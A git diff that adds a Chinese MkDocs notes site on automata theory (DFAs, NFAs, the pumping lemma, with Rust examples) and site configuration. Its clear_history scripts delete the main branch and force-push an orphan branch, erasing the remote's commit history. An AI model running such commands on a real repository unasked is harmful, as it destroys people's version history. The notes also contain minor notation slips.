结束状态为 $q_3$, 属于接受状态, 所以接受. +- "00101": 结束状态为 $q_2$, 不属于接受状态, 所以拒绝. + +分析后可知, $M_1$ 能接受任意包含子串 "11" 的字符串. +所有能被机器识别的字符串集合被称为该机器的语言 (language). + +$M_1$ 的语言 $A$ 可以表示为: + +$$ +\begin{align} +A &= \{w \mid w \text{ 包含子串 "11"}\} \\ + &= L(M_1) +\end{align} +$$ + +关于自动机的问题: + +- 该机器的语言是什么? +- 接受该语言的机器是什么? + +## 正式定义 + +一个有限自动机 $M$ 是一个五元组 $(Q, \Sigma, \delta, q_0, F)$, 其中: + +- $Q$ 是**状态 (state)** 的有限集. +- $\Sigma$ 是由**字母表 (alphabet)** 符号组成的有限集. +- $\delta: Q \times \Sigma \rightarrow Q$ 是**转移函数**. +- $q_0 \in Q$ 是**初始状态**. +- $F \subseteq Q$ 是**接受状态 (accepting states)** 的集合. + +此处的字母表是形式语言的术语, 而非拉丁字母表. +用上述符号可以将 $M_1$ 表示为: + +$$ +\begin{align} + + M_1 &= (Q, \Sigma, \delta, q_0, F) \\ + Q &= \{q_1, q_2, q_3\} \\ +\Sigma &= \{0, 1\} \\ + q_0 &= q_1 \\ + F &= \{q_3\} \\ +\delta &= +\begin{array}{c|ccc} + & \textbf{0} & \textbf{1} \\ \hline + q_1 & q_1 & q_2 \\ + q_2 & q_1 & q_3 \\ + q_3 & q_3 & q_3 +\end{array} + +\end{align} +$$ + +## 计算过程 + +- **字母表**: 由符号构成的有限集. +- **字符串 (string)**: 由 $\Sigma$ 中符号构成的有限序列. +- **语言**: 字符串的集合 (有限或无限). +- **空字符串**: 长度为 0 的字符串, 写作 $\varepsilon$. +- **空语言**: 不包含任何字符串的集合, 即空集. 写作 $\emptyset$. + +$M$ 接受字符串 $w = w_1w_2 ... w_3, \text{ each } w_i \in \Sigma$, +如果存在状态序列: $r_0, r_1, ..., r_n, r_i \in Q$, 满足以下条件: + +- $r_0 = q_0$. +- $r_i = \delta(r_{i-1}, w_i) \text{ for } 1 \leq i \leq n$. +- $r_n \in F$. + +## 代码实现 + +DFA $M_1$ 的 Rust 代码实现为: + +```rust +#[derive(PartialEq)] +enum State { + Q1, + Q2, + Q3, +} + +enum Alphabet { + Zero, + One, +} + +fn dfa(input: &[Alphabet]) -> bool { + let mut state = State::Q1; + for symbol in input { + state = delta(state, symbol); + } + state == State::Q3 +} + +fn delta(state: State, symbol: &Alphabet) -> State { + match (state, symbol) { + (State::Q1, Alphabet::Zero) => State::Q1, + (State::Q1, Alphabet::One) => State::Q2, + (State::Q2, Alphabet::Zero) => State::Q1, + (State::Q2, Alphabet::One) => State::Q3, + (State::Q3, _) => State::Q3, + } +} + +fn main() { + assert!(dfa(&[ + Alphabet::Zero, + Alphabet::One, + Alphabet::One, + Alphabet::Zero, + Alphabet::One + ])); + assert!(!dfa(&[ + Alphabet::Zero, + Alphabet::Zero, + Alphabet::One, + Alphabet::Zero, + Alphabet::One + ])); +} +``` diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\351\235\236\346\255\243\345\210\231\350\257\255\350\250\200.md" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\351\235\236\346\255\243\345\210\231\350\257\255\350\250\200.md" new file mode 100644 index 000000000..83560cfa4 --- /dev/null +++ "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\351\235\236\346\255\243\345\210\231\350\257\255\350\250\200.md" @@ -0,0 +1,30 @@ +# 非正则语言 + +**英文**: Non-regular languages. + +## Pumping 引理 + +对于任意的正则语言 $A$, 如果存在 $p$ 使得 $s \in A$ 且 $|s| > p$, 则 $s = xyz$, 其中: + +- $xy^iz \in A \text{ for all } i \geq 0$: 其中 $y^i = \underbrace{yy \dots y}_{i}$, $y$ 是相连的重复子串, 且 $y$ 可能不存在. +- $y \neq \varepsilon$: $y$ 不是空字符串. +- $|xy| \leq p$: $y$ 在位置 $p$ 或 $p$ 之前结束. + +换句话说, $s$ 会呈现某种 $xyy \dots yz$ 的模式. + +根据鸽巢原理(Pigeonhole Principle), DFA 在读取 $s$ 的过程中, 至少会到达某个状态 $q_j$ 两次. 如下图所示: + +![](assets/pumping_lemma.png){ width=50% style="display: block; margin: 0 auto" } + +--- + +$$ +B = \{ w \mid w \text{ 有着相同数量的 0 和 1} \} +$$ + +$$ +D = \{ 0^k1^k \mid k \geq 0 \} \\ +s = 0^p1^p \in D +$$ + +$s$ 无法被分割为满足 Pumping 引理中三个条件的 $xyz$. diff --git "a/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\351\235\236\347\241\256\345\256\232\346\234\211\351\231\220\350\207\252\345\212\250\346\234\272.md" "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\351\235\236\347\241\256\345\256\232\346\234\211\351\231\220\350\207\252\345\212\250\346\234\272.md" new file mode 100644 index 000000000..b98a215fb --- /dev/null +++ "b/docs/\350\256\241\347\256\227\347\220\206\350\256\272/\351\235\236\347\241\256\345\256\232\346\234\211\351\231\220\350\207\252\345\212\250\346\234\272.md" @@ -0,0 +1,92 @@ +# 非确定有限自动机 + +**英文**: Nondeterministic finite automata. + +非确定一词取自计算机科学术语: 非确定性算法[^1]. 非确定性算法用于简化回溯算法的设计. + +下面是非确定有限自动机 (以下简称 NFA) $N_1$ 的状态图: + +![NFA](assets/nfa.jpg){ width=60% style="display: block; margin: 0 auto" } + +NFA 在 DFA 的基础上, 添加了一些新特性: + +- 存在多条可能的转移路径: 例如 $N_1$ 中的 $q_1$, 针对输入 `a` 有两种转移方式. +- $\varepsilon$-转移: 不消耗任何字符的转移. + +若输入可以通过任意转移方式最终转移到接受状态则接受, 否则拒绝. + +以 $N_1$ 为例: + +- "ab": 结束状态可能为 $q_1$, $q_3$, $q_4$, 其中 $q_4$ 属于接受状态, 所以接受. +- "aa": 结束状态可能为 $q_1$, $q_2$, 均不属于接受状态, 所以拒绝. +- "abb": 结束状态只可能为 $q_1$, 不属于接受状态, 所以拒绝. + +## 正式定义 + +NFA 的新特性**均和转移有关**, 因此其与 DFA 的五元组相似, 唯一的区别是转移函数 $\delta$: + +$$ +\delta: Q \times \Sigma_\varepsilon \rightarrow \mathcal{P}(Q) = \{ R \mid R \subseteq Q \} \\ +$$ + +其中: + +- $\Sigma_\varepsilon$ 是 $\Sigma \cup \{\varepsilon\}$: 即在原有的字母表中添加了空字符串. +- $\mathcal{P}(Q)$ 是 $Q$ 的幂集. (幂集是包含全部子集的集合) + +以 $N_1$ 为例: + +- $\delta(q_1, a) = \{q_1, q_2\}$. +- $\delta(q_1, b) = \emptyset$. + +## 代码实现 + +NFA $N_1$ 的 Rust 代码实现为: + +```rust +#[derive(Clone, Copy, PartialEq)] +enum State { + Q1, + Q2, + Q3, + Q4, +} + +enum Alphabet { + A, + B, +} + +fn nfa(input: &[Alphabet]) -> bool { + nfa_inner(State::Q1, input) +} + +fn nfa_inner(state: State, input: &[Alphabet]) -> bool { + match input { + [] => state == State::Q4 || delta(state, None).contains(&State::Q4), + [symbol, rest @ ..] => { + if delta(state, Some(symbol)).iter().any(|&next_state| nfa_inner(next_state, rest)) { + return true; + } + delta(state, None).iter().any(|&next_state| nfa_inner(next_state, input)) + } + } +} + +fn delta(state: State, symbol: Option<&Alphabet>) -> &'static [State] { + match (state, symbol) { + (State::Q1, Some(Alphabet::A)) => &[State::Q1, State::Q2], + (State::Q2, Some(Alphabet::B)) => &[State::Q1, State::Q3], + (State::Q3, Some(Alphabet::A)) | (State::Q3, None) => &[State::Q4], + _ => &[], + } +} + +fn main() { + assert!(nfa(&[Alphabet::A, Alphabet::B])); + assert!(!nfa(&[Alphabet::A, Alphabet::A])); + assert!(!nfa(&[Alphabet::A, Alphabet::B, Alphabet::B])); +} +``` + +[^1]: diff --git a/fonts/CascadiaCodeNF.woff2 b/fonts/CascadiaCodeNF.woff2 new file mode 100644 index 000000000..071f772da Binary files /dev/null and b/fonts/CascadiaCodeNF.woff2 differ diff --git a/fonts/SourceHanSerifSC-Regular.otf b/fonts/SourceHanSerifSC-Regular.otf new file mode 100644 index 000000000..cb4163567 Binary files /dev/null and b/fonts/SourceHanSerifSC-Regular.otf differ diff --git a/mkdocs.yml b/mkdocs.yml new file mode 100644 index 000000000..d2c14fdb1 --- /dev/null +++ b/mkdocs.yml @@ -0,0 +1,69 @@ +site_name: Notes +site_description: Learning notes. +site_author: ShenMian +site_url: https://shenmian.github.io/notes/ + +repo_name: ShenMian/notes +repo_url: https://github.com/ShenMian/notes/ + +# https://squidfunk.github.io/mkdocs-material/setup/changing-the-colors/ +theme: + name: material + custom_dir: overrides + # favicon: docs/assets/icon.ico + + # https://squidfunk.github.io/mkdocs-material/setup/changing-the-language/?h=language#configuration + language: zh + + # https://squidfunk.github.io/mkdocs-material/setup/changing-the-fonts/?h=font#configuration + font: + text: fonts/SourceHanSerifSC-Regular.otf, Roboto + code: fonts/CascadiaCodeNF.woff2 + + # enable search + include_search_page: false + search_index_only: true + + static_templates: + - 404.html + + # https://squidfunk.github.io/mkdocs-material/setup/changing-the-colors/?h=palette#color-palette-toggle + palette: + - scheme: default + primary: green + accent: green + toggle: + icon: material/brightness-7 + name: 浅色模式 + - scheme: slate + primary: green + accent: green + toggle: + icon: material/brightness-4 + name: 深色模式 + + features: + # https://squidfunk.github.io/mkdocs-material/setup/setting-up-navigation/?h=features+navigation+tabs#navigation-tabs + - navigation.tabs + +# https://squidfunk.github.io/mkdocs-material/setup/extensions/python-markdown/ +markdown_extensions: + # - meta # FIXME: 启用会导致搜索功能失效, 包括往文件中写入 meta 数据 + - admonition + - attr_list + - md_in_html + - footnotes + - pymdownx.details + - pymdownx.inlinehilite + - pymdownx.snippets + - pymdownx.superfences + - pymdownx.highlight: + anchor_linenums: true + - pymdownx.arithmatex: + generic: true + +extra: + # https://squidfunk.github.io/mkdocs-material/setup/setting-up-the-footer/?h=extra+social#social-links + social: + - icon: fontawesome/brands/github + link: https://github.com/ShenMian diff --git a/overrides/main.html b/overrides/main.html new file mode 100644 index 000000000..bf4881a21 --- /dev/null +++ b/overrides/main.html @@ -0,0 +1,55 @@ +{% extends "base.html" %} + +{% block content %} + {{ super() }} + + +

{{ lang.t("meta.comments") }}

+ + + + + +{% endblock %} diff --git a/scripts/clear_history.bat b/scripts/clear_history.bat new file mode 100644 index 000000000..5adc77292 --- /dev/null +++ b/scripts/clear_history.bat @@ -0,0 +1,12 @@ +@echo off + +cd %~dp0/.. || exit /b 1 + +git checkout --orphan empty || exit /b 1 +git branch -D main || exit /b 1 +git add -A || exit /b 1 +git commit -m "feat: initial commit" || exit /b 1 +git push origin empty:main --force || exit /b 1 +git checkout main || exit /b 1 +git branch -D empty +git pull origin main --allow-unrelated-histories diff --git a/scripts/clear_history.sh b/scripts/clear_history.sh new file mode 100755 index 000000000..188a424a3 --- /dev/null +++ b/scripts/clear_history.sh @@ -0,0 +1,12 @@ +#!/bin/bash + +cd "$( cd "$( dirname "$0" )" && pwd )/.." || exit + +git checkout --orphan empty || exit 1 +git branch -D main || exit 1 +git add -A || exit 1 +git commit -m 'feat: initial commit' || exit 1 +git push origin empty:main --force || exit 1 +git checkout main || exit 1 +git branch -D empty +git pull origin main --allow-unrelated-histories